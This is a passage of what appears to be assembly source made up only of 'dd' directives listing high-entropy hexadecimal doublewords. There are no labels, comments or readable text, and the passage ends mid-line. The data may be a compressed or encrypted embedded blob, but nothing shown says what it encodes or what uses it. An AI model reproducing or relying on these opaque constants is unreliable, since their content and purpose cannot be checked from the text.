0D728CCC0h, 25593C47h, 0F247503h, 0CDBD13Eh dd 0BFEEB1B8h, 0FB5EF400h, 0AEE5F0FEh, 0DACB1FE9h, 0CDA8803Dh dd 7EEA9B51h, 0FE1E89E0h, 8196CF97h, 3D7D9600h, 0FA275EE8h dd 0DC390050h, 0D87B711Fh, 26715F4Ch, 0BA68A701h, 0DD5A5519h dd 0F3AECCh, 27CDC94Eh, 0D7FBD184h, 0DCEFF600h, 0CEBD1E02h dd 669F0723h, 9046E47Dh, 8A746227h, 9A902A1Fh, 0E500B0DCh dd 0CDB612EEh, 620B008Ch, 0B31A0484h, 0FC396468h, 0E4900076h dd 6C7F23F4h, 1CB70091h, 0A28017ECh, 0D9002FD0h, 18B5D520h dd 0D83BE1h, 0C0350D53h, 0D746CF0Ah, 75772A1Eh, 0B3101E00h dd 894E1Ch, 0EC65277Fh, 776E4504h, 0A8C101F0h, 80ED98C5h dd 0FA5807F0h, 250D003Ah, 64E23B6h, 92385FB4h, 187185CBh dd 0F903AA91h, 0DBBBF122h, 68A0003Bh, 77AEB541h, 0A300B96Fh dd 61B65E43h, 1C225776h, 41187C40h, 4B978D12h, 153FC0D7h dd 0CA00E4ECh, 68AF4663h, 0C5426D3h, 2098237Dh, 0DF505298h dd 0E900D1A0h, 919A8769h, 0F35557Ah, 7FDD16AAh, 6D9BC3C0h dd 6100303Ah, 5DF0DCDFh, 0EA68D2h, 3683CF75h, 0C8DDE8FCh dd 0A5C21600h, 7A8439B8h, 0F21C3A4Fh, 19516C80h, 0D685FCFDh dd 56384Ch, 0A7998BD8h, 139DDB82h, 0FF35F4D5h, 0DA951300h dd 0CEC49009h, 0E40021D6h, 9EE90A3Ch, 3865A100h, 2734738Bh dd 0C9D0011h, 1C8AF330h, 3E00D05Ch, 0B4D96110h, 3CEB975Bh dd 1E00D16Ch, 0C36AB21Ah, 5D004248h, 0EF0859D8h, 1E5D297h dd 0FFF92C8h, 0E4519CAEh, 0DA0047C7h, 7C9F6DE1h, 14103F43h dd 94E09773h, 59826280h, 0F900EBDAh, 9229386h, 9F06BAh dd 67AEA103h, 35B9B61Bh, 0FF0086ECh, 0A6940BFCh, 1DEFCB04h dd 33163Ah, 0DCB77DDAh, 6901015Ch, 0AF8B7B9Dh, 9BE3B045h dd 0D7AB08Eh, 0F8F900C3h, 0A37D85CFh, 670FC56Ah, 80A20A17h dd 0D7A4842Eh, 0F3E1002Fh, 41023952h, 9FB0B76Dh, 0DB193200h dd 7A6731FBh, 0B9EC000Ah, 28A33403h, 660C69F7h, 11454B2Dh dd 0A233077Bh, 80C62953h, 0C4D5432Fh, 174F30FFh, 37B91502h dd 806B447Bh, 8AFA06EEh, 0F573FFDh, 18B4C087h, 0CB8F20A3h dd 830901C9h, 19EE814h, 611AEAD4h, 59ADC4h, 0E2C565D2h dd 0CFC6078h, 7A5E4400h, 10DF8292h, 0F3F75C09h, 6445F503h dd 8DC81BA1h, 67000277h, 0C9065DB1h, 0FA33656h, 0CD7F3A9Ch dd 9F8747C1h, 1BD5F0B9h, 0CB7C0328h, 139B100h, 0A85B7A7Eh dd 0AEAB00C0h, 0DD579CE3h, 3A0041E6h, 230299D5h, 19629B9h dd 0BE8C9E95h, 813603C4h, 3A5E71E0h, 0F18F6D65h, 3E40789Fh dd 55EC8BCFh, 0E7191A00h, 8A6CBEDEh, 17EA53h, 0D7E28F5Ch dd 0DF0E4857h, 5C6BC03h, 0B22BC4C2h, 36A4C0CCh, 205A6032h dd 3EE0433Dh, 0DA1E7314h, 3FF5890h, 45F81507h, 9C0940Dh dd 8ADD56h, 39314A49h, 9B243ED6h, 2F619300h, 0DD55B2EBh dd 26020003h, 73800DB6h, 86398AB9h, 7E798718h, 0AE404F51h dd 2DD3CAh, 14D5A67Bh, 1F65220Eh, 0FF6F3D1Eh, 42744340h dd 3A788FD2h, 0B0960995h, 90620013h, 6E49E83Ah, 31C5C900h dd 7CFEBB9h, 1BB70053h, 7B1D1CD7h, 3D0705A1h, 235D2454h dd 0B3E9601Eh, 0CD854Bh, 9CD61506h, 907C6621h, 0DEE5E800h dd 0F46CF0D8h, 0E9930588h, 31D06ACh, 85D907A8h, 76DBFAF0h dd 0FE6A651Eh, 0A984DF81h, 49D4BF4Bh, 0CB6100D0h, 0CE05CCE6h dd 88001108h, 0C1571714h, 0B1320Bh, 0A4178E8h, 0BAE29A92h dd 117EAC00h, 0B53CFC2Eh, 27B903A0h, 79A7D3ADh, 58FD080h dd 9030427Ah, 0E49CF87Eh, 433800F6h, 0E8742C12h, 1E0F4ECFh dd 20FAD687h, 8C0ADCBh, 0CE270989h, 1780A622h, 9C401638h dd 723C4D00h, 424CD59Bh, 0DF30D7Dh, 0F7E00EFEh, 50376EB0h dd 61D73003h, 0B886DD28h, 0D2F2C8h, 49141E6Ch, 0CC2A88D1h dd 7CC4BD00h, 73EFC619h, 135B002Bh, 88FB9542h, 48F22499h dd 0B2D2F400h, 7CCF72DDh, 15C30001h, 7A69738Fh, 7F070842h dd 0FDE95CE8h, 4789B420h, 0F0B000CCh, 0E37BD9DAh, 0F17609ECh dd 0F8C1C424h, 2F839200h, 78954B3h, 537F0E5Eh, 9D1B40C0h dd 8C00A22Ch, 0B549A836h, 5CCCCD0Ch, 3F00B6BEh, 39CEFF3Ch dd 29FC7D40h, 18233Ch, 0DF887077h, 0CC925Ch, 7ABE8A45h dd 4303526h, 9C503800h, 942244B3h, 48FC000Dh, 3B4EECF3h dd 0E61F2333h, 0E31357F1h, 805B2F09h, 58B9794Eh, 1B0B03BAh dd 31215910h, 53821798h, 7D8FFB00h, 60D56388h, 5724001Eh dd 1C4ABA83h, 0EF507E54h, 0EC0313BFh, 0C2FFC41Fh, 4AC9384h dd 4B8830F8h, 0A9489089h, 5CE4D1DEh, 447D02FAh, 0AE60F201h dd 0A6A07C4Ah, 853AD8h, 0DB246C61h, 2CB5471Ch, 550F3Dh dd 8EC69573h, 0C47DD9h, 2502BEF3h, 84C81319h, 58944019h dd 40CABA70h, 0BF4AA04h, 3E4C7303h, 0C01A6580h, 0BD2435F5h dd 0C32036A8h, 0ECE56807h, 1B501482h, 54552D2h, 2A4F3C72h dd 0E6DAC05Ch, 6304DC2Fh, 0FC6C769Eh, 4488DC0h, 90DF002Bh dd 54F31785h, 9800D680h, 46C734A2h, 7CF026ABh, 6FFB0086h dd 315565CBh, 47E0CA16h, 9FDED901h, 6D8AFE72h, 0E8E20034h dd 11F90FDh, 0D9712E39h, 9E5A500Eh, 0BD4E25D0h, 0C93BC094h dd 7815E53h, 313D5105h, 0E22970ACh, 390024EDh, 8E0C6BDDh dd 306DA0h, 6E5DD7E7h, 0D67F14DBh, 7B9B4C09h, 25F6809Fh dd 9D5327h, 16864A13h, 11E149B4h, 4410E403h, 0C070C242h dd 1EAD60FCh, 43501843h, 0A5854FE2h, 0CE84C0D7h, 0C807DB86h dd 46BB7123h, 0B100E7BAh, 95AE6532h, 59880B72h, 3C000A0Ch dd 0A8FF5A36h, 9481E400h, 1712F3E8h, 22DD0058h, 0A4610B3Dh dd 96724954h, 19057777h, 0DD9BA5B0h, 1BDA0080h, 2CE00029h dd 338567B9h, 0EC02B55Ah, 5842D0CDh, 0D8F463DBh, 0F44AD44Ch dd 0EAF10013h, 9E69B89Ah, 0FD03C8F2h, 775950D3h, 0B6D79026h dd 0E23744Dh, 9C6660EAh, 3FA9364Ch, 89D49248h, 8080209Eh dd 1976Ah, 6EA64D18h, 4A40E6BBh, 87F25Ch, 3DFAF69Fh, 9E4987Bh dd 804B2252h, 0D83F7880h, 0AC01F9B7h, 6A648702h, 0E5F8C342h dd 0DCAB072Fh, 0F0FC9265h, 0A472F163h, 2EBF8700h, 0B08FA652h dd 604AE2CFh dd 0FD089844h, 660F1325h, 203C3B6Eh, 1487366Dh, 0A8C700ABh dd 562886EBh, 1000CD9Bh, 0EA7B6EE7h, 58165A79h, 3458D5D8h dd 0B8CEE300h, 0BDB9C309h, 2FA6DC0Bh, 0B61C00F2h, 972D23h dd 3B7A9FF8h, 0AA993E12h, 5773C500h, 9C1C390Bh, 0F309822h dd 0E64540F5h, 0F20A88A1h, 2E44018h, 0E4009482h, 6939CB09h dd 6F813E9h, 730D1C2Ah, 710C3838h, 0B8799C4Bh, 1B33029Bh dd 0C5B777A2h, 0B0CE2887h, 94A4AA9Ch, 0E118971Eh, 0D3F05600h dd 5C531567h, 0AE0000DDh, 96C0C177h, 7C75DB01h, 0F8FE2A00h dd 890442E4h, 7CE7F04Eh, 61EA6Bh, 4CE0E943h, 0F61905A9h dd 0EBFCC47Ah, 51DD9505h, 64C0DBACh, 803732h, 6C855E14h dd 0EE7A419Eh, 0E10CC417h, 7E512C00h, 7396D8F8h, 4AB8126Bh dd 700C00CCh, 0BCC829C6h, 0CE000A7Bh, 0BE6E615Fh, 0A536E7h dd 881E64DFh, 8F80F8B7h, 9DD0E300h, 0D40C75DBh, 51D30139h dd 59B32DCAh, 2C782093h, 35042B0Eh, 8D566098h, 24C9D8Eh dd 1E39C295h, 0B760BD2Ah, 0C80111FEh, 0CDCF3B9Eh, 0D1FC7533h dd 0EEC20047h, 3CA69D7Bh, 0F905FDDCh, 685DDB74h, 7043AC13h dd 0AF4669B9h, 4110ECD7h, 72674Dh, 978B3CDFh, 1C04F5BAh dd 0F4313500h, 0A0A22E4Ah, 43FF44Ch, 1F9993C6h, 1744C020h dd 0EA00147Bh, 0FDE1434Eh, 969FA3h, 0B3A77650h, 0B445A6ECh dd 8382D33Ah, 62C5584Ah, 0FD38F0EDh, 0E0FCE529h, 0F425006Ah dd 0A8F140B5h, 0E100B78Eh, 0D22C1F7Ah, 422FF2h, 520C135Ch dd 0ABECCEFAh, 1D0707B0h, 0B04B4D84h, 0DFE2340h, 558C008Fh dd 99C52EB5h, 0F30071A4h, 19DB7858h, 1E9A9C73h, 898BA5ACh dd 400835FFh, 0C0791DF0h, 17154C95h, 4F00EABBh, 6B3EE5Ch dd 9107B6h, 7297F4E3h, 0B85FA8Bh, 51048302h, 0C0313079h dd 741F00h, 3BB6E366h, 0F626D5CCh, 0BA469616h, 0C1A45807h dd 0ABCEE510h, 2CFD721Ch, 0C2506h, 0FE3675E9h, 0E40038AEh dd 71A0133h, 9C8C094h, 1F3519BEh, 0A00FFBFCh, 0B4412977h dd 1B5128C8h, 5B2100DEh, 0BA70B9B0h, 0D800AB03h, 0CFF6D3AEh dd 0F04DC9h, 0D2F15AF3h, 0ABBD4211h, 68F5150Fh, 8B45C19Fh dd 85D8CEE9h, 0E581008Ch, 0FF6276CBh, 0AC0EEAEDh, 60D461A1h dd 4526F974h, 0DE980587h, 872C80CDh, 0A7002F5Fh, 3E8B6E97h dd 0CBB0147Ch, 0F7183A00h, 0F204A40Fh, 3D1F0015h, 9E33AFA2h dd 4B00EA6Eh, 7DDD69E3h, 50E82Dh, 0DEEB6ACDh, 0C2B73847h dd 0A8928003h, 8037B2C1h, 13A82h, 0DA055FB4h, 34498F0h dd 6A668100h, 4CC15048h, 1B8C1617h, 518600AEh, 76A3B0BCh dd 437F201h, 9E57B818h, 0F7B97F4h, 6490446Dh, 55B9FEA1h dd 1F1B6023h, 7D4D5300h, 813DF9F8h, 0CA403C27h, 42C58F80h dd 9D1C8660h, 75696B00h, 0F1D21488h, 2BB00055h, 0A8EE76FEh dd 0B5004E13h, 0ABB27D23h, 0BCC72h, 3F159E96h, 86EF6D77h dd 0C74CA500h, 32A1FA6Ah, 0C4D100BCh, 0EECB6B6Ch, 5004F1Ah dd 25293669h, 32BBFD6Dh, 9B60275Bh, 0F41A8561h, 0DCA069CAh dd 848D91h, 0CBB13032h, 936ED14Ch, 1122F00h, 4EBE794h dd 147600FDh, 0EABA7ADh, 2C00C7CCh, 6E193BD3h, 484BB8FCh dd 7200F8DFh, 769325D4h, 0E13B4D8Dh, 0CF4817h, 0DD447A65h dd 60D442E6h, 0CACB808Fh, 0EE003B1h, 0A0A48B00h, 1DF1CF47h dd 0D70A00F3h, 3122C70h, 0C0008F6Bh, 55831EB6h, 9D4A432Eh dd 58656CE0h, 74AF1B00h, 0CF7BCD72h, 71B30088h, 67D8F6C9h dd 50004375h, 0EB9B4DD1h, 0EE52DB3Fh, 21600A1h, 9548F61Ah dd 2B0344F2h, 847A065Fh, 0D72290F0h, 0A70D0082h, 4B27FDFAh dd 0B03929D4h, 0DC890A7Bh, 1B1EE32Bh, 0EB31500h, 12241C0h dd 2FC8AA88h, 0D03411B6h, 0F8E85A67h, 0F9007F7Ch, 68AD6EFCh dd 72E9B0h, 4CF2CD14h, 465B1A84h, 42009474h, 237750Ch dd 79EBED06h, 0AC50B2Eh, 8109BAB3h, 41B1CD00h, 4428F727h dd 1800E072h, 0CEE61A73h, 0C2D05Eh, 0BF029728h, 0ACD63A7Ah dd 95006E72h, 58C67C96h, 2F494EFh, 0ED86DE8Bh, 20404EFAh dd 0EC00A528h, 0FC14FD18h, 39B173F7h, 5E87C437h, 0D07E98CAh dd 0AD23E704h, 0D8509100h, 4667885Ch, 0CF70DAh, 9328B476h dd 9E36BD26h, 92F09100h, 0A1DA1170h, 31F5009Dh, 33F49BFDh dd 4700B286h, 43A02F1Ah, 2C93FAC7h, 9B24824h, 40054177h dd 3CA8C010h, 4C00E45Ah, 7C7AC6B4h, 0E7FE95h, 0D0AC8537h dd 0B9DA9FEEh, 2069DE00h, 0F898273Bh, 0F56400FAh, 0EA78E583h dd 0AF005270h, 2F323787h, 8C8259h, 3488207Dh, 0A8AA93F4h dd 0E7C14100h, 58D53F2Dh, 70FC2Ch, 8544156Ah, 1FB629AAh dd 2E18224Ch, 5F00C2B4h, 0ADDCF7ABh, 0B56B3B13h, 9C7FF081h dd 3091CB16h, 80018B08h, 0ED6DA541h, 81F3B799h, 0C4F4565Dh dd 1BCC0045h, 88E06749h, 9EEEBB4Ch, 0ED91B100h, 57150E02h dd 61E8B4h, 7F1AACC0h, 96A376F5h, 8168CC00h, 0B3DE8B9h dd 0A0F9C0B8h, 859364F9h, 0EB460804h, 0DF9026C8h, 3F0E307Ah dd 7B8FD454h, 0FCC0F43Dh, 843BEE94h, 0C07E1800h, 9CDE55Fh dd 0D0D4050Fh, 0C0A3A4E6h, 23E80691h, 7E00E173h, 6E63BE20h dd 0A810CDA5h, 979D5D8h, 7B3582DEh, 3F87083h, 0E0EC93D7h dd 66C0E3D8h, 3A017248h, 0FBA00055h, 30A840D8h, 4E492F02h dd 123FADF8h, 0A680802Ah, 24CFE89Ch, 0F31A00B5h, 0FD4BA94Eh dd 0DE3A8991h, 0C85A80CAh, 6DAF80A6h, 76590E86h, 0A000C4B8h dd 1C2D1D2Fh, 43CE3300h, 633B2B14h, 686C13D6h, 97AC0089h dd 0DEF2F9D2h, 7105EE00h, 0A5217E4h, 0C054011Ah, 0B86D0F7Ch dd 9F24604Ch, 6501E000h, 0A82664E8h, 0ECB64C85h, 0D005D200h dd 965D042Dh, 0AF258917h, 0BBD9D0Eh, 25EE8FC2h, 0C0584B3Fh dd 444838h, 0AC69C976h, 7EF91FEFh, 50BD94B2h, 0E05C9AE8h dd 45E2039Ch, 98E75726h, 1A0FEAA0h, 0D31C10A0h, 0C126377h dd 0DF0DAA7h, 33300FC6h, 0F400E34Ah, 5917D4A8h, 8F33E475h dd 0F06B8026h, 175C23CFh, 8D3F93h, 0A0788419h, 1C90A8B7h dd 0E2672601h, 0B5B23EC6h, 28703D70h, 603C1B04h, 26992024h dd 5C6F7D53h, 831D9DB8h, 0E7440022h, 2E2A4645h, 0A3071A61h dd 230688A5h, 4780B885h, 8228BFh, 0B955384Eh, 0CECF3C47h dd 0FC92BB03h, 292E37h, 56540B64h, 5A51988Bh, 0F1EFE300h dd 0F9EA9415h, 0F8E500DBh, 3756C658h, 0E700D1FAh, 73882F21h dd 19AF7Ch, 0D6A653E8h, 2734B825h, 0B4A58100h, 6196C202h dd 66F407E1h, 10AA4D80h, 4A9530E4h, 0E224BF07h, 34575D41h dd 9C2165F0h, 8FCF00FCh, 0A5130457h, 9200BCCEh, 0B54470D3h dd 5460D8Ah, 0D483E74Ah, 74E44181h, 0FC0888A4h, 23017269h dd 0A7AB8230h, 2BE18175h, 8EA68340h, 736007A4h, 71A3699Ah dd 70A876B5h, 7A72F7E4h, 380C2918h, 88D47C29h, 0B0889E73h dd 0D2A289FCh, 22CD0822h, 0D4229C65h, 7E0C22F6h, 0BF402424h dd 56416616h, 4F2A1400h, 5C0E325Bh, 8C21DABh, 0F4D2C060h dd 0C88EDF10h, 816D9700h, 88937177h, 0DA7776h, 0D265235Dh dd 64AF29B4h, 39306700h, 11E9A6E4h, 3775C09h, 0C107451Eh dd 2771C184h, 2BC8C88Ch, 0E5D79F00h, 6149FB14h, 0AC2C0060h dd 7C7780B9h, 79E4C2CFh, 8EC5F600h, 0B766B248h, 49D300DFh dd 460B5150h, 1E00BDB5h, 571BB6D6h, 781970EBh, 0AC2B0052h dd 3749ED42h, 4000024Dh, 41B2D89Ah, 0B175B3h, 0E8EEE464h dd 0FE5E492Eh, 7E07A1FAh dd 18BBB704h, 93ECAEC0h, 13103FAh, 6D8949Eh, 8C163E8h dd 86B4F703h, 0F0B51D66h, 0D02E4Ch, 109B16ABh, 0BAB7E914h dd 636ED405h, 0F8073CA2h, 460F123h, 0C9E4CA4h, 0E46206DFh dd 25004AE8h, 9212C29h, 727D14h, 6BD434FEh, 56D6A164h dd 4E58827Ah, 564CE1h, 24577F8Ah, 153A9Fh, 994541A7h, 0EA06C3E4h dd 0A2003D7Eh, 0C608D92Ah, 9D3E6517h, 0BC22FB40h, 0D637A400h dd 705BE507h, 0D3E428A9h, 3D360094h, 0AFFF3174h, 0A3B04C99h dd 0EF00587Bh, 0FD2AD287h, 0B1E31Dh, 0DF8D5E4Dh, 848FA503h dd 3C968E1Ch, 7502BC80h, 737E9Dh, 19EAE1FCh, 92209763h dd 8CCE7A03h, 0E0284C96h, 799C26E8h, 63C001BBh, 0A967B9EBh dd 0E3E6CC6Bh, 61C1D100h, 1603141Eh, 5ACC0095h, 85398A70h dd 0F10778C5h, 33B2F5AFh, 0DFB16E00h, 0BF220E11h, 578005C0h dd 805C7F9Ch, 425D4800h, 30214A0Dh, 0FD8107D6h, 0E31F22F9h dd 0D0002BF5h, 5952BCB2h, 438DB6h, 0FF10C097h, 83B22DAh dd 0FA011200h, 508B0203h, 0E5B4002Dh, 64987DA0h, 1E4896F6h dd 38D60070h, 6055F168h, 0FA540746h, 0B3840CB6h, 0E8906BABh dd 0A502C01Ah, 45EED504h, 7B604060h, 0ADFD0094h, 0E6F33C24h dd 0FA28B4CCh, 0D10088CBh, 0FB6AE8DCh, 40883Ah, 0A63EAF4Fh dd 2A2FF6B2h, 2C005078h, 0B771C42h, 4338CAh, 0A18F5213h dd 291A4058h, 0A6F89A03h, 0E03BF63Dh, 9AF820Dh, 1559F456h dd 0C2050C00h, 1F004A30h, 8E7193CAh, 45467Ch, 270B83FDh dd 0E6EAF3ACh, 0DAF88600h, 4FA7FCF6h, 0B5F20042h, 7C4ECC02h dd 0EB0087EEh, 9D3A50FFh, 0B6AEE1h, 2DEA65DFh, 7BB25B9h dd 0D81E2200h, 40A744ECh, 5FE31D04h, 0A862404Fh, 5A88D10Eh dd 0F80FC900h, 0FCBCE416h, 0E9610057h, 20FBF621h, 0E1CC766h dd 2C8355FEh, 0A06DD163h, 0E4E23953h, 4D9D0017h, 6C8B8D5Dh dd 0D18BF50h, 0A9F08958h, 0EE71F2h, 134F770h, 5756B9DDh dd 0EAC0B302h, 409BFF3Ah, 31BD8Bh, 5B9254D6h, 4923EE81h dd 9E78400h, 798F8557h, 677947h, 7FD20B3Ah, 7174AEBh, 1C540C3Fh dd 0B5CF4C02h, 8355E1EDh, 9BDC15C9h, 0F7470EE4h, 403DCA16h dd 0CF566E0Dh, 0B118DBFBh, 0CB446DCDh, 446F008Fh, 85290FD8h dd 0E4015ECAh, 0E09CCD1Bh, 0D8209906h, 49240094h, 0A2FB7D12h dd 614CF0F3h, 9EA50043h, 2495AACAh, 0ABA3001Ch, 0B25F12EAh dd 0E90FF1A2h, 0FDDE0DBh, 0C0F0C04Bh, 48B8559h, 4466D7C3h dd 35E0C76Eh, 0ECBD81BCh, 5C28207Ah, 0F107A6E4h, 0B3058F4h dd 0D3F6B7B0h, 0F77D00ADh, 0D04AFBBDh, 0E5160A3Ah, 37009A97h dd 8C2CABB3h, 80D30023h, 2A8A0906h, 3D009392h, 131E7750h dd 0EA24B0B7h, 88B500D2h, 576A3A8Bh, 0E3EA3D1Bh, 0B606A700h dd 1AE2209Ah, 0AF8D00EDh, 58DA5ABCh, 0B801B509h, 7F290D5Eh dd 0EF7DD6h, 4F07C2D8h, 287AC185h, 91836F00h, 0F94AE434h dd 0D132002Dh, 7201419Bh, 0B8C0A138h, 0E816CC87h, 0BDD0C0C0h dd 0BEA5BCB5h, 6A222100h, 53A326B7h, 1D8701DCh, 7B43345Ch dd 0E53AC418h, 0D8C17600h, 5447F5C6h, 7C71EEh, 9F697432h dd 7557605Dh, 0C704D8E4h, 0B04B3480h, 0B2A0F8C7h, 5EE9C1h dd 9EE2F51h, 0AD526BB4h, 2D255C07h, 5706E39h, 1F956858h dd 807A317Bh, 0E461C2B9h, 0C7008B0Ah, 514B2DA9h, 1E7655h dd 0FBBFE542h, 8D7DC2DCh, 0D4ACF100h, 0DE03E77Fh, 3B2D000Dh dd 35FBD774h, 0FD00FF51h, 0DF835E10h, 0CD85A6h, 0C3C83853h dd 616F5290h, 0EB037E00h, 5AC1F72Ch, 0A9280060h, 0AF8369EAh dd 3D00A40Bh, 0C0B03909h, 0AE7907h, 241A2A2Eh, 126B7E8Ah dd 350525F6h, 6E539F15h, 0FA7270C0h, 11C30069h, 0C4EB6D68h dd 60F7B216h, 6B0EBF95h, 67FAB75Ch, 0AE808A0Bh, 2BB7588h dd 0CACC6499h, 4C446D9Bh, 210B917Dh, 1C256Fh, 3CA54A94h dd 8DA04A2h, 0C1E072FCh, 0E8EFB596h, 36074518h, 54CAF450h dd 0AB524801h, 7682FC30h, 1F3F077h, 2F8BC747h, 0EC7BA568h dd 29009CC4h, 86CA45ACh, 302D08Ch, 8B2CF88Dh, 0E2B0B9B7h dd 6E05EC46h, 0CBFB6DAEh, 88FFB883h, 0BA19C727h, 0C17700E8h dd 0CF5EF394h, 0B1022DF5h, 89033533h, 0A94240CBh, 4BB51C51h dd 5D14C01Ah, 0D4A428C2h, 0C40FFA73h, 0C0C6B165h, 0F616E55Ch dd 3BFED0h, 70805F5Eh, 45B9D5ABh, 0B5906100h, 4059DEBAh dd 2C3000FAh, 4BEC2D49h, 0F9073AD8h, 0BCA2F021h, 0F637170h dd 3F38BACFh, 84D4ED98h, 0FE54076Bh, 8CACD522h, 0AE00EBA8h dd 58C39889h, 3BF235Bh, 32729DE0h, 0F4804AC9h, 5009A52Dh dd 80AC845Dh, 603E3849h, 0AAE43C68h, 91D51800h, 2F78E9B6h dd 0AB99BD1Bh, 8D67D078h, 0D960036h, 0AE32AFDEh, 3F757043h dd 38F50800h, 4E689E45h, 58095CB5h, 535F50h, 421FD97Bh dd 0AB2BCC88h, 6AB75800h, 0FB19B464h, 72EA056Ch, 54B3DFh dd 49B59EE8h, 340038E0h, 8D351F11h, 65D73B59h, 2357F020h dd 0EEC856FCh, 0A816702Bh, 0C005C9E1h, 0FC204A19h, 0AA320C7h dd 2A59AF21h, 0BB3508F0h, 2D001D90h, 0EB477396h, 6713EE16h dd 0B40071B7h, 0C8FB76F2h, 6FFD000Ah, 0CE46A908h, 4B0061CCh dd 0E2A636Ah, 924DD77h, 3C2738C6h, 0B4DC2A81h, 69870FFh dd 0CDEB300h, 0EC0E6E04h, 57B06Bh, 0E81E0D19h, 0E1CA642Dh dd 0C7D88154h, 318BE20Fh, 7FC2409Bh, 0C7F86878h, 687113B0h dd 5405803Ah, 0AF3C11F3h, 424700A8h, 6B9FDBB1h, 0EC00D50Ch dd 66A3211Ch, 5C678D10h, 300092DFh, 0CD46F7E0h, 616498Eh dd 0E401F85Ch, 22DBF315h, 3361FE0h, 3D68164Eh, 0F6C873AAh dd 0E10033C0h, 0E35E5318h, 44A89E4h, 0BE1E0A38h, 0A4808062h dd 0EA00526Dh, 0FBC166DCh, 0C753EBh, 6F29978Ah, 0ABA6E5BEh dd 0BFB9B400h, 2A516DE7h, 0DD54002Fh, 0EE779859h, 0BB003FC5h dd 0DBD7AFA2h, 7845AA4h, 1893B535h, 70BF9773h, 10090780h dd 1FF72700h, 6FFBA97Ah, 2683006Bh, 886A2ACh, 790FB88Fh dd 62D4962Fh, 5C425B05h, 82E30765h, 661A9036h, 0D0005A8Fh dd 0EE0B1C3Eh, 7F113A0h, 9B6C702Eh, 0D03C140Dh, 2CE4A5C0h dd 0A4334E00h, 25DBDCCCh, 0E3D43BBDh, 0A1807B00h, 0B86CE6E5h dd 9CDDFD00h, 0BF686F7Fh, 9B5F011Dh, 0E183318Ah, 0F696D087h dd 0BAD1FD00h, 7EB7E992h, 7C5598D9h, 0EC031FD7h, 395CC11Dh dd 40FCBA73h, 0F92E21A4h, 0A2BEDB00h, 83E86D01h, 9FF00049h dd 0CB999AC1h, 4C000C12h, 51CC600Eh, 0F1C532h, 0D3F39C64h dd 0CE2CF29Ah, 7D5E1503h, 6F93D6h, 2BBCEE58h, 77E5F7ADh dd 0B800F074h, 0CC053E99h, 0F108195h, 0EA8ABCF8h, 0E3769622h dd 0FB1ED9F0h, 0B5405A09h, 84909CA1h, 59EE070Dh, 601A7282h dd 8D7EF2D8h, 7C5A91A0h, 9EBA0813h, 0C2E2BC00h, 9645C56Eh dd 0FE842884h, 7F7150h, 335D0D52h, 914E3873h, 3C842960h dd 0F83A40h, 89063E7Dh, 9B17FF4Ch, 7A727E0Fh, 809DE037h dd 9AEC24BEh, 9E6B2C80h, 626F4018h, 8CE4D7AEh, 7AFB6C16h dd 0D40B7D00h, 98AC2708h, 29F900C0h, 3174B61Ah, 0B2076C22h dd 4E778EC4h, 0DE72E6A0h, 75F0004Bh, 0BEAFD9E4h, 1E078A23h dd 0AB8D15B7h, 0BCA49720h, 0FD2D09E9h, 448037F8h, 93F66972h dd 0D2010EE6h, 0E0160CA5h, 6F30D6ADh, 0D0F4EEh, 0D4C965BFh dd 0B6B3EF1Fh, 0BCA04B26h, 0E6800Bh, 0D22A2FC4h, 36402F0h dd 0F83EDCA7h, 0A9BA8860h, 757D003h, 0D8FFBEEDh, 4A130E3Ch dd 653C331Ah, 0CFC18095h, 0C09C6908h, 0DD1711E0h, 0C4C22C5Bh dd 0B7038460h, 86D3C052h, 0F100BA21h, 0C0CFCEFAh, 7A06D796h dd 0D5AD0FA5h, 6BA0D3CAh, 315768EAh, 0FCE59900h, 0B8DFD215h dd 0D554000Ah, 894C07F8h, 0FB007DAAh, 839D59E1h, 3CF640A3h dd 9482FC92h, 0B572F426h, 2F009078h, 0BD01FE53h, 0F2A97A3h dd 47A1B617h, 80C67C85h, 70D3EFAh, 0D8095D02h, 40209B16h dd 2EBB8F16h, 1C47E8ABh, 0D56E80DEh, 4096D362h, 0A76B2B1Dh dd 106480B9h, 0FB9335EEh, 84C91FA0h, 8BDE49EAh, 0A8C71807h dd 92D80460h, 0EB8500D5h, 0FBDB4291h, 47018F6Dh, 7F772F9Ch dd 1120984Fh, 7234008Ch, 0D3489D20h, 5900ECF6h, 87C6D832h dd 5104Ah, 0BCE3FF75h, 3B157D9Eh, 2DFCE200h, 1326E3Fh dd 2AC507DAh, 90871AA9h, 17040E02h, 50B20D3Ch, 6092FFB0h dd 0E91AD701h, 8188F594h, 90B29CDCh, 8260093h, 9138D201h dd 9D002472h, 57B7BCAEh, 2CF18B80h, 801079D3h, 2A9B6A62h dd 1200D8C1h, 0A106E681h, 31F702h, 260E3BEEh, 9A9E2CE9h dd 7A3E6C00h, 14DD68E5h, 667C003Ch, 0FE97A8DCh, 3D00F82Ah dd 0A3B36090h, 15AE436h, 55EFE6D5h, 0F87E4C62h, 1102FBC4h dd 0ADCD9FA6h, 146864FCh, 0E7AE01FFh, 0ED726F07h, 996A507Ah dd 8E58F879h, 0CB6013Ch, 0CDA2E80Bh, 27B4682h, 88E08926h dd 600057E9h, 0C0BB1E64h, 0FD3D6EAh, 92FC23EDh, 2213A900h dd 76074B30h, 0AB311DF0h, 6B91405Fh, 95FDECh, 2156FFB9h dd 0D7BCE22Dh, 1F0006F4h, 80A86663h, 0D6CC75h, 0D87472A0h dd 9DA317DFh, 0F7C99100h, 961AE706h, 0B0860010h, 11986133h dd 99006DC7h, 832EA65Eh, 0F54189h, 1F846C15h, 7D6FCD5Fh dd 0E000D0E4h, 0B74BC6A3h, 487B3B02h, 8101A942h, 6B96021h dd 649470A4h, 0B7141B09h, 0D80C00BAh, 74AC6ACBh, 5FF4004Fh dd 661F26E4h, 0AB007FF5h, 0B0808EA4h, 90634990h, 0C5D8E514h dd 4C010141h, 481B4E32h, 28307020h, 5566A600h, 549A9B1Ah dd 0AE2A01D3h, 0FA938BF9h, 46188E37h, 0DB9047E6h, 60868702h dd 133B51Ah, 0BB9AFF49h, 30940ED7h, 0B100538Bh, 800A6474h dd 783CCA3Fh, 77009669h, 6736A288h, 965B4023h, 41F8F526h dd 924B3E00h, 0AAE721B4h, 0C5C03A2Eh, 77317F07h, 8FE170DEh dd 990082FCh, 106877Bh, 0F19C6Fh, 4615A770h, 0C7B2BD67h dd 0AF90C200h, 7775DBA1h, 235C00E2h, 0BDF58C69h, 0EA98E425h dd 9F04A000h, 0C0ED99BEh, 0C242F2Bh, 9500157Eh, 5A3B9033h dd 3AC600F6h, 69B22284h, 0A7004F34h, 712BA577h, 90C18Eh dd 8EC9B26h, 15BFB0Eh, 2AC49700h, 